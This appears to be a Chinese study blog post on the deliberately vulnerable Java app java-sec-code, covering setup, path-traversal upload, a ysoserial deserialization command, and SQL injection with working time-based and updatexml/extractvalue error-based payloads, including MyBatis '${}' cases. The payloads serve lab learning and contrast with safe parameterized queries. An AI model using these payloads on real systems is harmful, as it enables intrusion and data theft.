配合静态代码审计工具,学习一下。
git clone https://github.com/JoyChou93/java-sec-code
cd java-sec-code
# 生成jar包
mvn clean package
修改配置文件src/main/resources/application.properties:
:
将数据库名,账号密码修改为mysql中有的。
参考:mysql最常用最基础的命令
# 调试模式运行
java -Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 -jar /home/cqq/repos/java-sec-code/target/java-sec-code-1.0.0.jar
create user 'java_sec_code'@'192.168.17.1' identified by 'java_sec_code';
create user 'java_sec_code'@'localhost' identified by 'java_sec_code';
create database java_sec_code;
grant all privileges on java_sec_code.* to java_sec_code@192.168.17.1;
grant all privileges on java_sec_code.* to java_sec_code@localhost;
alter user java_sec_code@192.168.17.1 identified with mysql_native_password by 'java_sec_code';
public static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
if (bi == null) {
return false;
}
return true;
}
通过路径穿越修改filename
参数../../../../../home/cqq/repos/java-sec-code/1.png
可以将带有jsp代码的图片上传到任意目录
如果放在tomcat目录下,可以让tomcat解析?
相应的代码在src/main/java/org/joychou/controller/FileUpload.java
:
碰到这种(状态码是404)就是Spring没有为这个path配置对应的回调方法。
碰到这种是505,服务端错误,可能是匹配到了path对应的回调方法,但是没有传入需要的参数。
检测fastjon反序列化漏洞的,可以看pom.xml文件中的版本:
在java-sec-code\src\main\resources\application.properties
配置文件中,
这有一行表示不用进行CSRF检测的url白名单:
joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /XmlDecoder/**
因为自己新加了一个类,并对 /XmlDecoder
进行了mapping,所以要手动添加到配置文件中,然后重新编译运行。
Cookie中的RememberMe字段被base64编码,然后服务端将用户Cookie中的RememberMe字段进行base64解码之后执行了readObejct操作。
代码:
/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
*
* http://localhost:8080/deserialize/rememberMe/vul
*/
@RequestMapping("/rememberMe/vul")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, cookieName);
if (null == cookie){
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject(); //执行任意命令
in.close();
return "Are u ok?";
}
这里用了CommonsCollections5 的链BadAttributeValueExpException
(JDK自带),然后需要CommonsCollection依赖。
演示:
但是为什么我调试的时候,还没有跟到执行任意方法的点,就弹出了计算器?
升级到xlsx-streamer.jar到2.1.0版本及以上。
参考:
Java提供了 Statement
、PreparedStatement
和 CallableStatement
三种方式来执行查询语句。
Statement
:普通查询;PreparedStatement
:参数化查询;CallableStatement
:用于存储过程。简单来说,使用预编译语句(PreparedStatement#setString
)会对输入的字符进行转义。
调试验证一下:
在调用PreparedStatement#setString
的地方下断点:
java.sql.PreparedStatement
只是一个接口,具体的实现类需要调试时查看:
可以看到具体的实现类为:com.mysql.cj.jdbc.ClientPreparedStatement
然后最终在com.mysql.cj.ClientPreparedQueryBindings#setString(int parameterIndex, String x)
对特殊字符如'``和
"等进行了转义(加
`)
查看最终转义之后的结果:
源码在:
https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12-sources.jar
@Override
public void setString(int parameterIndex, String x) {
if (x == null) {
setNull(parameterIndex);
} else {
int stringLength = x.length();
if (this.session.getServerSession().isNoBackslashEscapesSet()) {
// Scan for any nasty chars
boolean needsHexEscape = isEscapeNeededForString(x, stringLength);
if (!needsHexEscape) {
StringBuilder quotedString = new StringBuilder(x.length() + 2);
quotedString.append('\'');
quotedString.append(x);
quotedString.append('\'');
byte[] parameterAsBytes = this.isLoadDataQuery ? StringUtils.getBytes(quotedString.toString())
: StringUtils.getBytes(quotedString.toString(), this.charEncoding);
setValue(parameterIndex, parameterAsBytes);
} else {
byte[] parameterAsBytes = this.isLoadDataQuery ? StringUtils.getBytes(x) : StringUtils.getBytes(x, this.charEncoding);
setBytes(parameterIndex, parameterAsBytes);
}
return;
}
String parameterAsString = x;
boolean needsQuoted = true;
if (this.isLoadDataQuery || isEscapeNeededForString(x, stringLength)) {
needsQuoted = false; // saves an allocation later
StringBuilder buf = new StringBuilder((int) (x.length() * 1.1));
buf.append('\'');
//
// Note: buf.append(char) is _faster_ than appending in blocks, because the block append requires a System.arraycopy().... go figure...
//
for (int i = 0; i < stringLength; ++i) {
char c = x.charAt(i);
switch (c) {
case 0: /* Must be escaped for 'mysql' */
buf.append('\\');
buf.append('0');
break;
case '\n': /* Must be escaped for logs */
buf.append('\\');
buf.append('n');
break;
case '\r':
buf.append('\\');
buf.append('r');
break;
case '\\':
buf.append('\\');
buf.append('\\');
break;
case '\'':
buf.append('\\');
buf.append('\'');
break;
case '"': /* Better safe than sorry */
if (this.session.getServerSession().useAnsiQuotedIdentifiers()) {
buf.append('\\');
}
buf.append('"');
break;
case '\032': /* This gives problems on Win32 */
buf.append('\\');
buf.append('Z');
break;
case '\u00a5':
case '\u20a9':
// escape characters interpreted as backslash by mysql
if (this.charsetEncoder != null) {
CharBuffer cbuf = CharBuffer.allocate(1);
ByteBuffer bbuf = ByteBuffer.allocate(1);
cbuf.put(c);
cbuf.position(0);
this.charsetEncoder.encode(cbuf, bbuf, true);
if (bbuf.get(0) == '\\') {
buf.append('\\');
}
}
buf.append(c);
break;
default:
buf.append(c);
}
}
buf.append('\'');
parameterAsString = buf.toString();
}
byte[] parameterAsBytes = this.isLoadDataQuery ? StringUtils.getBytes(parameterAsString)
: (needsQuoted ? StringUtils.getBytesWrapped(parameterAsString, '\'', '\'', this.charEncoding)
: StringUtils.getBytes(parameterAsString, this.charEncoding));
setValue(parameterIndex, parameterAsBytes, MysqlType.VARCHAR);
}
}
【注意】占位符只能占位SQL语句中的普通值,决不能占位表名、列名、SQL关键字(select、insert等)。所以如果使用动态表名,字段,就只能向上面案例那样使用非预编译方法,不过这样显然很容易导致注入。
对于输入为int类型的参数userId
,使用参数类型绑定:
st.setInt(1, userId);
Failed to convert value of type 'java.lang.String' to required type 'int'
参考:
order by是mysql中对查询数据进行排序的方法。(注意:没有查询结果的情况下无法进行order by的注入)
使用示例:
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
这里的重点是order by后接的参数可以是列名,也可以是参数。
由于id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:
select * from users order by 1;
select * from users order by id;
对应后端代码:
String sql = "select * from users where username = '" + username + "'" + " order by " + sort;
使用这个payload,第一个表达式为true时,会执行sleep(2)
if(1=1,SLEEP(2),1)
或者benchmark()
原理:
BENCHMARK(count,expr)
benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟
这个函数是用来计算性能的,可以通过制定某运算的计算次数,来实现延时的效果:
参考:
username=cqq查询到数据,才能进行order by注入;
username=111没有查询到数据,无法进行order by注入。
也可以通过order by的参数猜测列数,比如:
http://192.168.239.2:81/?order=11 错误
http://192.168.239.2:81/?order=10 正常
则表示有10列。
. 从payload看出load_file的路径是windows下的UNC路径,所以mysql带外注入只能发生在windows机器上
https://www.cnblogs.com/leixiao-/p/9876313.html
后端代码:
String sql = "select * from users where username = '" + username + "'" + " order by " + sort;
catch (SQLException e) {
throw e;
也可以用盲注的payload
if(1=1,SLEEP(2),1)
if(1=2,SLEEP(2),1)
但是有更好的为什么不用呢?
主要使用两个操作xml的函数:
updatexml(0,concat(0x7c,user()),1) # 接收三个参数
extractvalue(0, concat(0x7c,version())) # 接收两个参数
如果代码中写好了catch语句,没有throw则不能根据回显的报错进行注入,而如果这样写,即将报的异常抛出:
即便不像正常代码那样回显数据:
while(rs.next()){
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
result += res_name + ": " + res_pwd + "\n";
}
return result;
updatexml
进行基于报错的注入,payload:
username=cqq' or updatexml(0,concat(0x7c,user()),1) or'&password=socks
完整sql语句:
mysql> insert into users(username, password) values('cqq' or updatexml(0,concat(0x7c,version()),1) or'','socks');
ERROR 1105 (HY000): XPATH syntax error: '|5.7.26-0ubuntu0.18.04.1'
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
对mybatis的报错注入
/sqli/mybatis/vul01?username=cqq'+or+updatexml(0,concat(0x7c,version()),1);--+
// SQLI.java
@RequestMapping("/mybatis/vul01")
public List<User> mybatis_vul1(@RequestParam("username") String username) {
return userMapper.findByUserNameVul(username);
}
// UserMapper.java
@Select("select * from users where username = '${username}'")
List<User> findByUserNameVul(@Param("username") String username);
第二处,
先用单引号测试,
/sqli/mybatis/vul02?username=cqq'
后端拼接出的sql语句是这样的:
select * from users where username like '%cqq'%'
同样的payload:
/sqli/mybatis/vul02?username=cqq'+or+updatexml(0,concat(0x7c,version()),1);--+
其漏洞代码为:
// SQLI.java
@RequestMapping("/mybatis/vul02")
public List<User> mybatis_vul2(@RequestParam("username") String username) {
return userMapper.findByUserNameVul2(username);
}
// UserMapper.java
List<User> findByUserNameVul2(String username);
<select id="findByUserNameVul2" parameterType="String" resultMap="User">
select * from users where username like '%${_parameter}%'
select>
#{}传过来的参数带单引号’', ${}传过来的参数不带单引号。
而使用安全的接口为:
一个单引号和两个单引号都返回null:
对应代码为:
//SQLI.java
@GetMapping("/mybatis/sec01")
public User mybatis_sec1(@RequestParam("username") String username) {
return userMapper.findByUserName(username);
}
// UserMapper.java
@Select("select * from users where username = #{username}")
User findByUserName(@Param("username") String username);
extractvalue()
报错注入extractvalue()和updatexml()类似,只不过extractvalue()只需要两个参数。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串).
select extractvalue(0, concat(0x7c,version()));
对比,
updatexml
使用第二个参数放注入的payload,第一、第三个参数放0占位即可;extractvalue()
使用第二个参数放注入的payload,第一个参数放0占位即可。两个函数的本意本来都是写xpath的格式,这里故意不写xpath格式,而使用version(), user()等函数,将这个函数执行的结果通过报错显示出来。
参考:
http://www.admintony.com/SQL%E6%B3%A8%E5%85%A5-insert%E3%80%81update%E3%80%81delete%E6%B3%A8%E5%85%A5.html
updatexml
和extractvalue()
的用法参考官方文档:
启动时碰到:
Failed to start component [StandardEngine[Tomcat].StandardHost[localhost].TomcatEmbeddedContext[]]
在pom中添加这个解决问题:
<dependency>
<groupId>javax.servletgroupId>
<artifactId>javax.servlet-apiartifactId>
<version>4.0.1version>
dependency>
参考:
https://stackoverflow.com/questions/43041695/failed-to-start-component-standardenginetomcat-standardhostlocalhost-tomcat
https://www.cnblogs.com/hyy9527/p/13559442.html